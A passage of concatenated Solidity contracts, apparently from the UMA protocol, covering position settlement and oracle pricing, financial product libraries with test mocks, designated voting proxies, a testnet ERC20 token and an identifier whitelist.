_getFeeAdjustedCollateral(positionData.rawCollateral); // If the debt is greater than the remaining collateral, they cannot redeem anything. FixedPoint.Unsigned memory positionRedeemableCollateral = tokenDebtValueInCollateral.isLessThan(positionCollateral) ? positionCollateral.sub(tokenDebtValueInCollateral) : FixedPoint.Unsigned(0); // Add the number of redeemable tokens for the sponsor to their total redeemable collateral. totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral); // Reset the position state as all the value has been removed after settlement. delete positions[msg.sender]; emit EndedSponsorPosition(msg.sender); } // Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized, // the caller will get as much collateral as the contract can pay out. FixedPoint.Unsigned memory payout = FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral); // Decrement total contract collateral and outstanding debt. amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout); totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem); emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue); // Transfer tokens & collateral and burn the redeemed tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue); tokenCurrency.burn(tokensToRedeem.rawValue); } /**************************************** * GLOBAL STATE FUNCTIONS * ****************************************/ /** * @notice Locks contract state in expired and requests oracle price. * @dev this function can only be called once the contract is expired and can't be re-called. */ function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() { contractState = ContractState.ExpiredPriceRequested; // Final fees do not need to be paid when sending a request to the optimistic oracle. _requestOraclePriceExpiration(expirationTimestamp); emit ContractExpired(msg.sender); } /** * @notice Premature contract settlement under emergency circumstances. * @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`. * Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal * to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested` * which prevents re-entry into this function or the `expire` function. No fees are paid when calling * `emergencyShutdown` as the governor who would call the function would also receive the fees. */ function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() { require(msg.sender == _getFinancialContractsAdminAddress()); contractState = ContractState.ExpiredPriceRequested; // Expiratory time now becomes the current time (emergency shutdown time). // Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp. uint256 oldExpirationTimestamp = expirationTimestamp; expirationTimestamp = getCurrentTime(); _requestOraclePriceExpiration(expirationTimestamp); emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp); } /** * @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they * reflect the NAV of the contract. However, this functionality doesn't apply to this contract. * @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable * only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing. */ function remargin() external override onlyPreExpiration() nonReentrant() { return; } /** * @notice Accessor method for a sponsor's collateral. * @dev This is necessary because the struct returned by the positions() method shows * rawCollateral, which isn't a user-readable value. * @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for * example if the `lastPaymentTime != currentTime`. * @param sponsor address whose collateral amount is retrieved. * @return collateralAmount amount of collateral within a sponsors position. */ function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory) { // Note: do a direct access to avoid the validity check. return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral)); } /** * @notice Accessor method for the total collateral stored within the PricelessPositionManager. * @return totalCollateral amount of all collateral within the Expiring Multi Party Contract. * @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for * example if the `lastPaymentTime != currentTime`. */ function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } /** * @notice Accessor method to compute a transformed price using the finanicalProductLibrary specified at contract * deployment. If no library was provided then no modification to the price is done. * @param price input price to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice price with the transformation function applied to it. * @dev This method should never revert. */ function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _transformPrice(price, requestTime); } /** * @notice Accessor method to compute a transformed price identifier using the finanicalProductLibrary specified * at contract deployment. If no library was provided then no modification to the identifier is done. * @param requestTime timestamp the identifier is to be used at. * @return transformedPrice price with the transformation function applied to it. * @dev This method should never revert. */ function transformPriceIdentifier(uint256 requestTime) public view nonReentrantView() returns (bytes32) { return _transformPriceIdentifier(requestTime); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire // position if the entire position is being removed. Does not make any external transfers. function _reduceSponsorPosition( address sponsor, FixedPoint.Unsigned memory tokensToRemove, FixedPoint.Unsigned memory collateralToRemove, FixedPoint.Unsigned memory withdrawalAmountToRemove ) internal { PositionData storage positionData = _getPositionData(sponsor); // If the entire position is being removed, delete it instead. if ( tokensToRemove.isEqual(positionData.tokensOutstanding) && _getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove) ) { _deleteSponsorPosition(sponsor); return; } // Decrement the sponsor's collateral and global collateral amounts. _decrementCollateralBalances(positionData, collateralToRemove); // Ensure that the sponsor will meet the min position size after the reduction. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Decrement the position's withdrawal amount. positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove); // Decrement the total outstanding tokens in the overall contract. totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove); } // Deletes a sponsor's position and updates global counters. Does not make any external transfers. function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) { PositionData storage positionToLiquidate = _getPositionData(sponsor); FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral); // Remove the collateral and outstanding from the overall total position. FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral; rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral); totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding); // Reset the sponsors position to have zero outstanding and collateral. delete positions[sponsor]; emit EndedSponsorPosition(sponsor); // Return fee-adjusted amount of collateral deleted from position. return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } function _getPositionData(address sponsor) internal view onlyCollateralizedPosition(sponsor) returns (PositionData storage) { return positions[sponsor]; } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) { return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle)); } function _getFinancialContractsAdminAddress() internal view returns (address) { return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin); } // Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePriceExpiration(uint256 requestedTime) internal { OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); // Increase token allowance to enable the optimistic oracle reward transfer. FixedPoint.Unsigned memory reward = _computeFinalFees(); collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), reward.rawValue); optimisticOracle.requestPrice( _transformPriceIdentifier(requestedTime), requestedTime, _getAncillaryData(), collateralCurrency, reward.rawValue // Reward is equal to the final fee ); // Apply haircut to all sponsors by decrementing the cumlativeFeeMultiplier by the amount lost from the final fee. _adjustCumulativeFeeMultiplier(reward, _pfc()); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePriceExpiration(uint256 requestedTime) internal returns (FixedPoint.Unsigned memory) { // Create an instance of the oracle and get the price. If the price is not resolved revert. OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); require( optimisticOracle.hasPrice( address(this), _transformPriceIdentifier(requestedTime), requestedTime, _getAncillaryData() ) ); int256 optimisticOraclePrice = optimisticOracle.settleAndGetPrice( _transformPriceIdentifier(requestedTime), requestedTime, _getAncillaryData() ); // For now we don't want to deal with negative prices in positions. if (optimisticOraclePrice < 0) { optimisticOraclePrice = 0; } return _transformPrice(FixedPoint.Unsigned(uint256(optimisticOraclePrice)), requestedTime); } // Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePriceLiquidation(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(_transformPriceIdentifier(requestedTime), requestedTime); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePriceLiquidation(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { // Create an instance of the oracle and get the price. If the price is not resolved revert. OracleInterface oracle = _getOracle(); require(oracle.hasPrice(_transformPriceIdentifier(requestedTime), requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(_transformPriceIdentifier(requestedTime), requestedTime); // For now we don't want to deal with negative prices in positions. if (oraclePrice < 0) { oraclePrice = 0; } return _transformPrice(FixedPoint.Unsigned(uint256(oraclePrice)), requestedTime); } // Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0. function _resetWithdrawalRequest(PositionData storage positionData) internal { positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); positionData.withdrawalRequestPassTimestamp = 0; } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(positionData.rawCollateral, collateralAmount); return _addCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position. // This function is similar to the _decrementCollateralBalances function except this function checks position GCR // between the decrements. This ensures that collateral removal will not leave the position undercollateralized. function _decrementCollateralBalancesCheckGCR( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); require(_checkPositionCollateralization(positionData), "CR below GCR"); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _onlyOpenState() internal view { require(contractState == ContractState.Open, "Contract state is not OPEN"); } function _onlyPreExpiration() internal view { require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry"); } function _onlyPostExpiration() internal view { require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry"); } function _onlyCollateralizedPosition(address sponsor) internal view { require( _getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0), "Position has no collateral" ); } // Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the // `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral // or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`. function _positionHasNoPendingWithdrawal(address sponsor) internal view { require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) { return _checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral), positionData.tokensOutstanding ); } // Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global // collateralization ratio. function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private view returns (bool) { FixedPoint.Unsigned memory global = _getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding); FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens); return !global.isGreaterThan(thisChange); } function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private pure returns (FixedPoint.Unsigned memory ratio) { if (!numTokens.isGreaterThan(0)) { return FixedPoint.fromUnscaledUint(0); } else { return collateral.div(numTokens); } } // IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method, // which is possible since the method is only an OPTIONAL method in the ERC20 standard: // https://eips.ethereum.org/EIPS/eip-20#methods. function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) { try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) { return _decimals; } catch { return 18; } } function _transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime) internal view returns (FixedPoint.Unsigned memory) { if (!address(financialProductLibrary).isContract()) return price; try financialProductLibrary.transformPrice(price, requestTime) returns ( FixedPoint.Unsigned memory transformedPrice ) { return transformedPrice; } catch { return price; } } function _transformPriceIdentifier(uint256 requestTime) internal view returns (bytes32) { if (!address(financialProductLibrary).isContract()) return priceIdentifier; try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns ( bytes32 transformedIdentifier ) { return transformedIdentifier; } catch { return priceIdentifier; } } function _getAncillaryData() internal view returns (bytes memory) { // Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address // whose funding rate it's trying to get. return abi.encodePacked(address(tokenCurrency)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ERC20 interface that includes the decimals read only method. */ interface IERC20Standard is IERC20 { /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` * (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value * {ERC20} uses, unless {_setupDecimals} is called. * * NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic * of the contract, including {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view returns (uint8); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../../common/implementation/FixedPoint.sol"; interface ExpiringContractInterface { function expirationTimestamp() external view returns (uint256); } /** * @title Financial product library contract * @notice Provides price and collateral requirement transformation interfaces that can be overridden by custom * Financial product library implementations. */ abstract contract FinancialProductLibrary { using FixedPoint for FixedPoint.Unsigned; /** * @notice Transforms a given oracle price using the financial product libraries transformation logic. * @param oraclePrice input price returned by the DVM to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedOraclePrice input oraclePrice with the transformation function applied. */ function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view virtual returns (FixedPoint.Unsigned memory) { return oraclePrice; } /** * @notice Transforms a given collateral requirement using the financial product libraries transformation logic. * @param oraclePrice input price returned by DVM used to transform the collateral requirement. * @param collateralRequirement input collateral requirement to be transformed. * @return transformedCollateralRequirement input collateral requirement with the transformation function applied. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view virtual returns (FixedPoint.Unsigned memory) { return collateralRequirement; } /** * @notice Transforms a given price identifier using the financial product libraries transformation logic. * @param priceIdentifier input price identifier defined for the financial contract. * @param requestTime timestamp the identifier is to be used at. EG the time that a price request would be sent using this identifier. * @return transformedPriceIdentifier input price identifier with the transformation function applied. */ function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime) public view virtual returns (bytes32) { return priceIdentifier; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../common/financial-product-libraries/FinancialProductLibrary.sol"; // Implements a simple FinancialProductLibrary to test price and collateral requirement transoformations. contract FinancialProductLibraryTest is FinancialProductLibrary { FixedPoint.Unsigned public priceTransformationScalar; FixedPoint.Unsigned public collateralRequirementTransformationScalar; bytes32 public transformedPriceIdentifier; bool public shouldRevert; constructor( FixedPoint.Unsigned memory _priceTransformationScalar, FixedPoint.Unsigned memory _collateralRequirementTransformationScalar, bytes32 _transformedPriceIdentifier ) public { priceTransformationScalar = _priceTransformationScalar; collateralRequirementTransformationScalar = _collateralRequirementTransformationScalar; transformedPriceIdentifier = _transformedPriceIdentifier; } // Set the mocked methods to revert to test failed library computation. function setShouldRevert(bool _shouldRevert) public { shouldRevert = _shouldRevert; } // Create a simple price transformation function that scales the input price by the scalar for testing. function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override returns (FixedPoint.Unsigned memory) { require(!shouldRevert, "set to always reverts"); return oraclePrice.mul(priceTransformationScalar); } // Create a simple collateral requirement transformation that doubles the input collateralRequirement. function transformCollateralRequirement( FixedPoint.Unsigned memory price, FixedPoint.Unsigned memory collateralRequirement ) public view override returns (FixedPoint.Unsigned memory) { require(!shouldRevert, "set to always reverts"); return collateralRequirement.mul(collateralRequirementTransformationScalar); } // Create a simple transformPriceIdentifier function that returns the transformed price identifier. function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime) public view override returns (bytes32) { require(!shouldRevert, "set to always reverts"); return transformedPriceIdentifier; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Testable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../common/financial-product-libraries/FinancialProductLibrary.sol"; contract ExpiringMultiPartyMock is Testable { using FixedPoint for FixedPoint.Unsigned; FinancialProductLibrary public financialProductLibrary; uint256 public expirationTimestamp; FixedPoint.Unsigned public collateralRequirement; bytes32 public priceIdentifier; constructor( address _financialProductLibraryAddress, uint256 _expirationTimestamp, FixedPoint.Unsigned memory _collateralRequirement, bytes32 _priceIdentifier, address _timerAddress ) public Testable(_timerAddress) { expirationTimestamp = _expirationTimestamp; collateralRequirement = _collateralRequirement; financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress); priceIdentifier = _priceIdentifier; } function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime) public view returns (FixedPoint.Unsigned memory) { if (address(financialProductLibrary) == address(0)) return price; try financialProductLibrary.transformPrice(price, requestTime) returns ( FixedPoint.Unsigned memory transformedPrice ) { return transformedPrice; } catch { return price; } } function transformCollateralRequirement(FixedPoint.Unsigned memory price) public view returns (FixedPoint.Unsigned memory) { if (address(financialProductLibrary) == address(0)) return collateralRequirement; try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns ( FixedPoint.Unsigned memory transformedCollateralRequirement ) { return transformedCollateralRequirement; } catch { return collateralRequirement; } } function transformPriceIdentifier(uint256 requestTime) public view returns (bytes32) { if (address(financialProductLibrary) == address(0)) return priceIdentifier; try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns ( bytes32 transformedIdentifier ) { return transformedIdentifier; } catch { return priceIdentifier; } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/VotingAncillaryInterface.sol"; // A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain ancillary data. abstract contract VotingAncillaryInterfaceTesting is OracleAncillaryInterface, VotingAncillaryInterface, Testable { using FixedPoint for FixedPoint.Unsigned; // Events, data structures and functions not exported in the base interfaces, used for testing. event VoteCommitted( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData ); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved( uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData ); struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } function rounds(uint256 roundId) public view virtual returns (Round memory); function getPriceRequestStatuses(VotingAncillaryInterface.PendingRequestAncillary[] memory requests) public view virtual returns (RequestState[] memory); function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/MultiRole.sol"; import "../../common/implementation/Withdrawable.sol"; import "../interfaces/VotingAncillaryInterface.sol"; import "../interfaces/FinderInterface.sol"; import "./Constants.sol"; /** * @title Proxy to allow voting from another address. * @dev Allows a UMA token holder to designate another address to vote on their behalf. * Each voter must deploy their own instance of this contract. */ contract DesignatedVoting is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the Voter role. Is also permanently permissioned as the minter role. Voter // Can vote through this contract. } // Reference to the UMA Finder contract, allowing Voting upgrades to be performed // without requiring any calls to this contract. FinderInterface private finder; /** * @notice Construct the DesignatedVoting contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. * @param ownerAddress address of the owner of the DesignatedVoting contract. * @param voterAddress address to which the owner has delegated their voting power. */ constructor( address finderAddress, address ownerAddress, address voterAddress ) public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress); _createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress); _setWithdrawRole(uint256(Roles.Owner)); finder = FinderInterface(finderAddress); } /**************************************** * VOTING AND REWARD FUNCTIONALITY * ****************************************/ /** * @notice Forwards a commit to Voting. * @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param hash the keccak256 hash of the price you want to vote for and a random integer salt value. */ function commitVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().commitVote(identifier, time, ancillaryData, hash); } /** * @notice Forwards a batch commit to Voting. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(VotingAncillaryInterface.CommitmentAncillary[] calldata commits) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchCommit(commits); } /** * @notice Forwards a reveal to Voting. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price used along with the `salt` to produce the `hash` during the commit phase. * @param salt used along with the `price` to produce the `hash` during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, bytes memory ancillaryData, int256 salt ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().revealVote(identifier, time, price, ancillaryData, salt); } /** * @notice Forwards a batch reveal to Voting. * @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(VotingAncillaryInterface.RevealAncillary[] calldata reveals) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchReveal(reveals); } /** * @notice Forwards a reward retrieval to Voting. * @dev Rewards are added to the tokens already held by this contract. * @param roundId defines the round from which voting rewards will be retrieved from. * @param toRetrieve an array of PendingRequests which rewards are retrieved from. * @return amount of rewards that the user should receive. */ function retrieveRewards(uint256 roundId, VotingAncillaryInterface.PendingRequestAncillary[] memory toRetrieve) public onlyRoleHolder(uint256(Roles.Voter)) returns (FixedPoint.Unsigned memory) { return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve); } function _getVotingAddress() private view returns (VotingAncillaryInterface) { return VotingAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Withdrawable.sol"; import "./DesignatedVoting.sol"; /** * @title Factory to deploy new instances of DesignatedVoting and look up previously deployed instances. * @dev Allows off-chain infrastructure to look up a hot wallet's deployed DesignatedVoting contract. */ contract DesignatedVotingFactory is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract. } address private finder; mapping(address => DesignatedVoting) public designatedVotingContracts; /** * @notice Construct the DesignatedVotingFactory contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. */ constructor(address finderAddress) public { finder = finderAddress; _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender); } /** * @notice Deploys a new `DesignatedVoting` contract. * @param ownerAddress defines who will own the deployed instance of the designatedVoting contract. * @return designatedVoting a new DesignatedVoting contract. */ function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) { DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender); designatedVotingContracts[msg.sender] = designatedVoting; return designatedVoting; } /** * @notice Associates a `DesignatedVoting` instance with `msg.sender`. * @param designatedVotingAddress address to designate voting to. * @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter` * address and wants that reflected here. */ function setDesignatedVoting(address designatedVotingAddress) external { designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/Withdrawable.sol"; // WithdrawableTest is derived from the abstract contract Withdrawable for testing purposes. contract WithdrawableTest is Withdrawable { enum Roles { Governance, Withdraw } // solhint-disable-next-line no-empty-blocks constructor() public { _createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender); _createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender); } function pay() external payable { require(msg.value > 0); } function setInternalWithdrawRole(uint256 setRoleId) public { _setWithdrawRole(setRoleId); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; /** * @title An implementation of ERC20 with the same interface as the Compound project's testnet tokens (mainly DAI) * @dev This contract can be deployed or the interface can be used to communicate with Compound's ERC20 tokens. Note: * this token should never be used to store real value since it allows permissionless minting. */ contract TestnetERC20 is ERC20 { /** * @notice Constructs the TestnetERC20. * @param _name The name which describes the new token. * @param _symbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _decimals The number of decimals to define token precision. */ constructor( string memory _name, string memory _symbol, uint8 _decimals ) public ERC20(_name, _symbol) { _setupDecimals(_decimals); } // Sample token information. /** * @notice Mints value tokens to the owner address. * @param ownerAddress the address to mint to. * @param value the amount of tokens to mint. */ function allocateTo(address ownerAddress, uint256 value) external { _mint(ownerAddress, value); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/IdentifierWhitelistInterface.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Stores a whitelist of supported identifiers that the oracle can provide prices for. */ contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ mapping(bytes32 => bool) private supportedIdentifiers; /**************************************** * EVENTS * ****************************************/ event SupportedIdentifierAdded(bytes32 indexed identifier); event SupportedIdentifierRemoved(bytes32 indexed identifier); /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (!supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = true; emit SupportedIdentifierAdded(identifier); } } /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = false; emit SupportedIdentifierRemoved(identifier); } } /**************************************** * WHITELIST GETTERS FUNCTIONS * ****************************************/ /** * @notice Checks whether an identifier is on the whitelist. * @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external view override returns (bool) { return supportedIdentifiers[identifier]; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/AdministrateeInterface.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Admin for financial contracts in the UMA system. * @dev Allows appropriately permissioned admin roles to interact with financial contracts. */ contract FinancialContractsAdmin is Ownable { /** * @notice Calls emergency 